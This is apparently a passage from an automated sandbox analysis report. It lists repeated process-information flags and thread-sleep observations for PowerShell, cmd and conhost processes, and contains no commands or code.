Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3660Thread sleep count: 9389 > 30Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1176Thread sleep time: -8301034833169293s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1840Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4764Thread sleep count: 9119 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5096Thread sleep time: -11068046444225724s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3680Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1280Thread sleep count: 8788 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5040Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1708Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5496Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5892Thread sleep count: 9106 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2792Thread sleep time: -10145709240540247s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4764Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 636Thread sleep time: -6456360425798339s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4704Thread sleep time: -1844674407370954s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 848Thread sleep count: 8995 > 30Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5040Thread sleep time: -3689348814741908s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 864Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5736Thread sleep count: 9017 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5852Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5936Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5828Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1112Thread sleep count: 8009 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6096Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6088Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2312Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6100Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5372Thread sleep count: 7797 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5276Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2352Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 496Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5580Thread sleep count: 8479 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1756Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4936Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 64Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5404Thread sleep count: 7978 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1400Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2692Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5596Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6120Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1076Thread sleep count: 8174 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2348Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 324Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1404Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1868Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2460Thread sleep count: 8548 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 64Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2068Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5820Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5164Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5476Thread sleep count: 7619 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3420Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1016Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6108Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4132Thread sleep count: 8037 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5304Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1116Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4908Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4424Thread sleep count: 7799 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5944Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5804Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5060Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5588Thread sleep count: 7925 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1020Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5404Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3160Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1244Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5212Thread sleep count: 7831 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4716Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4100Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5520Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5772Thread sleep count: 7702 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1096Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1784Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 868Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2104Thread sleep count: 8773 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1536Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4812Thread sleep time: -2767011611056431s >= -30000s
